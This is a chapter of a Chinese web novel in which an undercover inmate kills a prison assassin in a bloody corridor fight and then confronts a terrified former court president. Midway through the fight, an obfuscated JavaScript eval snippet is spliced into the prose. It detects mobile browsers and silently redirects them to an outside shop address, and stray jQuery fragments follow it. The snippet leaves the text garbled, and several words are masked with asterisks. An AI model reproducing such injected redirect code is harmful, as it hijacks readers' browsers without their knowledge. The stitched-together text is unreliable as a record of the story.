第二百四十二章 绝杀

作品:《卧底入狱?我直接整顿监狱法则

    距离瞬间拉近。


    幽灵的眼睛里没有任何情绪,空洞得像两口枯井。


    他手中的辐条没有像地痞流氓那样高高举起乱扎,而是紧贴着自己的腰腹,在两人即将相撞的瞬间,如同毒蛇吐信,以一个极其刁钻的自下而上的角度,直刺林燃的心窝。


    一击毙命。


    没有多余的动作。


    林燃的神经在这一刻绷紧到了极限,前世警校擒拿格斗的肌肉记忆被彻底激活。


    他没有去挡那根辐条。


    挡不住的。


    这种利用冲刺惯性刺出的尖锐物,就算是裹了毛巾的手臂也会被直接贯穿。


    林燃的身体在极速运动中,不可思议地向左侧硬生生平移了半寸。


    “哧——”


    辐条贴着林燃的右侧肋骨擦了过去,锋利的边缘瞬间割裂了囚服,在他的侧腰上犁出一条血口,温热的鲜血瞬间涌了出来。


    但这也给了林燃最宝贵的一线生机。


    幽灵一击落空,身体因为惯性前冲,右侧中门大开。


    “砰!”


    林燃借着错身的瞬间,左肘如同重型铁锤,狠狠地砸在幽灵的右侧太阳穴偏下方的脸颊上。


    这一下,用尽了林燃全身的力量。


    伴随着一声令人牙酸的骨裂声,幽灵的颧骨瞬间塌陷了下去,整个人被这股巨大的力量砸得横飞出去,重重地撞在走廊的铁栏杆上。


    换做常人,这一记足以导致严重脑震荡,甚至当场昏死。


    但幽灵仅仅是在地上翻滚了半圈,就像一个没有痛觉的机械假人,再次弹射而起。他的半张脸已经被鲜血糊满,那只空洞的眼睛却死死锁定了林燃。


    精神病人。


    彭振的这份档案,或许有一半是真的。


    这家伙的大脑额叶绝对受过损伤,痛觉神经极度迟钝。


    林燃舔了舔嘴角渗出的血丝,左手悄无声息地滑向囚服内侧的暗缝,夹住了那片苏念晚给他的半截手术刀片。


    幽灵没有发出任何声音,再次扑杀上来。


    这一次,他改变了策略。


    他放弃了刺击,而是将辐条反握,像使用割喉刀一样,直逼林燃的颈部大动脉。


    两人瞬间在狭窄的走廊里绞杀在一起。


    没有花哨的招式,只有最原始的肉搏和以命相搏的凶险。


    幽灵的攻击频率高得惊人,每一击都直奔要害。


    林燃只能依靠比对方更丰富的实战经验和预判,在刀光剑影中艰难闪避。


    “嗤!”


    林燃的左臂被划开一道深深的口子。


    “砰!”


    林燃的右膝狠狠顶在幽灵的腹部,对方却像没事人一样,反手一记肘击砸在林燃的左侧肩胛骨上。


    林燃只觉得半边身子一麻,左腿的旧伤在这剧烈的运动中开始疯狂**,一阵钻心的刺痛险些让他跪倒在地。


    他踉跄着后退了半步。


    幽灵捕捉到了这个破绽。


    他像一头嗅到血腥味的恶狼,猛地欺身而上。


    左手一把死死抠住林燃右肩的锁骨,指甲深深嵌进肉里,右手反握的辐条带着凄厉的风声,直扎林燃的咽喉。


    避无可避。


    林燃的眼神在这一瞬间变得比寒冰还要冷酷。


    他不退,也不躲。


    在辐条即将刺穿喉咙的刹那,林燃猛地一偏头,用自己的左侧肩膀,硬生生地迎上了那根致命的钢条。


    “噗嗤!”


    生锈的辐条瞬间贯穿了林燃的肩头肌肉,鲜血狂飙。


    幽灵那空洞的眼神中,终于闪过了一丝极其微弱的错愕。


    他没想到对方会用这种自残的方式来化解必杀一击。


    就这一丝错愕,足够了。


    因为辐条卡在骨缝肌肉里,幽灵的右手在这一瞬间,被短暂地“锁”**。


    “**吧!”


    林燃喉咙里发出一声不似人类的野兽般的低吼。


    他强忍着肩膀被贯穿的剧痛,右手如同一道闪电探出,两根手指死死捏住那片薄薄的手术刀片。


    手腕翻转。


    手臂一划。


    刀片在惨白的灯光下划出一道微不可察的银色冷电。


    位置,幽灵的右侧颈动脉。


    这不仅是割喉,更像是解剖。


    “噗——”


    极其轻微的一声裂帛声。


    没有剧烈的碰撞,也没有骨头碎裂的闷响。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413274|197428||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但幽灵的身体,却在这一刻,诡异地僵住了。


    他那只死死抠住林燃锁骨的手,慢慢松开了。


    一道细细的红线出现在他的脖颈右侧,紧接着,那条红线瞬间崩裂,猩红的鲜血如同高压水枪般喷射而出,溅了林燃满脸满身。


    幽灵张着嘴,似乎想吸气,但涌入气管的只有自己的鲜血。


    他的双手在半空中胡乱抓挠了两下,最终,像一截被抽去灵魂的烂木头,重重地砸在冰冷的水泥地上。


    抽搐了几下,彻底不动了。


    走廊里,死一般的寂静。


    只有幽灵脖颈处泊泊流出的鲜血,顺着地漏发出细微的声响。


    林燃靠在冰冷的墙壁上,大口大口地喘着粗气。


    每一次呼吸,肩膀上的剧痛都像刀绞一样拉扯着神经。


    他没有立刻拔出卡在肩膀上的辐条,那样会导致大出血。


    他用没受伤的左手抹了一把脸上的血水,眼神冰冷地扫过地上的尸体。


    干脆,利落,毫无破绽的**机器。


    彭振手里捏着这种东西,难怪孙绍裘会吓得连夜想跑。


    林燃调整了一下呼吸,拖着沉重的步伐,走向大门敞开的207监舍。


    监舍里没有开灯,只有走廊漏进来的光。


    孙绍裘没有死。


    他整个人蜷缩在床铺角落的阴影里,像一只被扒光了**、扔进冰窖里的老鹌鹑。


    这位昔日里高高在上、在法庭上宣判过无数人生死的前中院院长,此刻正双手死死捂着嘴,浑身抖得像筛糠一样,眼珠子几乎要凸出眼眶。


    他亲眼目睹了门外那场短暂却极其惨烈的生死搏杀。


    他亲眼看着那个奉命来取他性命的**,被眼前这个满身是血的年轻人,一刀割断了脖子。


    林燃站在门口,没有进去。


    他半边身子被鲜血染红,肩膀上还插着那根骇人的钢条。


    走廊惨白的灯光从他背后打过来,将他的脸隐没在阴影里,只留下一双在黑暗中亮得瘆人的眼睛。


    活脱脱一个刚从阿修罗道爬出来的浴血修罗。


    “孙院长。”


    林燃开口。